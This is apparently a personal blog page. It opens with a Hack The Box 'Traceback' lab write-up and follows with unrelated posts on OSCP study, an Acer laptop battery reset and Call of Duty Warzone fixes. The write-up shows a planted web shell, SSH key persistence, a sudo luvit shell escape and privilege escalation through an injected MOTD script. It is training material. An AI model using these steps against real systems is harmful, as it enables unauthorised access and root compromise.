Cyber Security HTB

HTB – Traceback

Ran Autorecon

autorecon -ct 1 -cs 10 -v --only-scans-dir

Port 80 was open:

The default page running on Port 80.

The HTML Source showed:

<h1>This site has been owned</h1>
<h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
<h3> - Xh4H - </h3>
<!--Some of the best web shells that you might need ;)-->

Looked up Xh4H and web shell. Logged in with admin/admin

Dashboard of the SMEVK.php shell.

Created myself a Public Key:

echo 'contents of' > /home/webadmin/.ssh/authorized_keys

Logged in

ssh [email protected]


I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

Luvit was running sysadmin privs. Executed a Shell –

sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/sh")'

Added myself to authorized keys under sysadmin.

echo 'contents of' > /home/sysadmin/.ssh/authorized_keys

Ran LinPeas

Snapshot of LinPEAS showing MOTD is being run by group sysadmin

Noticed this was the header files when logging into SSH.

echo "cat /root/root.txt" >> /etc/update-motd.d/00-header 

Logged out of SSH and logged back in:

Captured the root flag upon logging back into ssh.

Rainy Days – Cayman Islands

Perfect day for gaming.

First off I would like to say that I have been missing in action from my blog due to a number of reasons. Studying for my OSCP, an accident and hosting issues. Thankfully I am starting to enter that ‘calm’ after the storm.

Over the coming few weeks I will be posting about some cool tools, websites and tricks I’ve been learning well studying my OSCP. I will also be posting some WooCommerce related tutorials based on my real world client requests.

Hope everyone has awesome weekend!

Grand Cayman, Cayman Islands – Rainy Days
Shot with my OnePlus 6t

Acer Swift

Why won’t you turn on?!?

I bought my girlfriend an Acer Swift on an Amazon Black Friday sale and she has been thoroughly enjoying it. It is light, fast and can handle the day-to-day social media tasks she throws at it.

Acer Swift 7
So fast and light.

e laptop would not power on. After a lot of troubleshooting and searching the internet for answers I found this post –

I just want to share these instructions again in case they are lost in the abyss known as the Internet.

  1. Remove the charger.
  2. Check for a battery reset pinhole with a battery symbol on the bottom.
  3. Gently insert a paperclip for about 10 seconds to disconnect the battery.
  4. Let the machine rest for about 15 mins.
  5. Plug the charger back in. Try to turn it on.

These instructions worked for her laptop and I hope they work for anyone else suffering from the same issue. If you have a question or comment feel free to contact me at:


Call of Duty – Warzone Mic Issues


I have been thoroughly enjoying Warzone and happy to get away from the buggy disgrace which is Player Unknown Battlegrounds (PUBG). One issue I have come across since playing is being unable to talk to others in my party. Below is the way to fix this so you can get to communicating with others.

First, you want to type Control Panel in your search.

Next, you want to look for the Sound icon. Make sure to have Large Icons selected.

Next look on your Playback tab for the green circle Phone Icon. This is your Default Communications Device. In my case, I plug a TV in sometimes to watch movies or play games. Even though the TV wasn’t plugged in the device was still the Default Communications Device. Select your headphones (in my case Headphones Arctis 7 Game) and right-click set as Default Communications Device.

I would recommend setting all un-used devices as Disabled. You can right-click and select Show Disabled Devices to re-enable at a later date. My final process looks like this –

Hope this helps :).


Call of Duty Warzone Crash Fix

For the people…

After countless Reddit posts, Activision forum support threads and web searching… I have finally found a solution for my Call of Duty Warzone crash. This will not fix every Call of Duty – Warzone issue but hopefully, it will allow you to at least load the game.

In my case my the game was crashing shortly after the intro logos appeared or as soon as this screen appeared. After researching quite extensively this issue is due to shader bug from months ago that still causes issues.

Shaders installing for Call of Duty Warzone.

To fix this issue you will need to use Disk Cleanup in Windows. To access click Search and type Disk Cleanup.

Searching for Disk Cleanup in Windows 10.

After launching Disk Cleanup you will see the following screen:

Direct X Shader Cache on Disk Cleanup.

DirectX Shader Cache should be your focus. Delete these files and restart your machine. On restart launch Warzone as normal. Hope this helps someone else :).

Update – As of 04/03/2020 this issue is still present. I find I need to repeat this process every 3-4days for the game to be playable. I found another thing to do which reduces crashes is to EnableSkip Introduction Movie.

Options > General screen for Call of Duty Warzone.

I will keep updating my blog at on Call of Duty related issues and content. To reach out to me directly use the contact form here: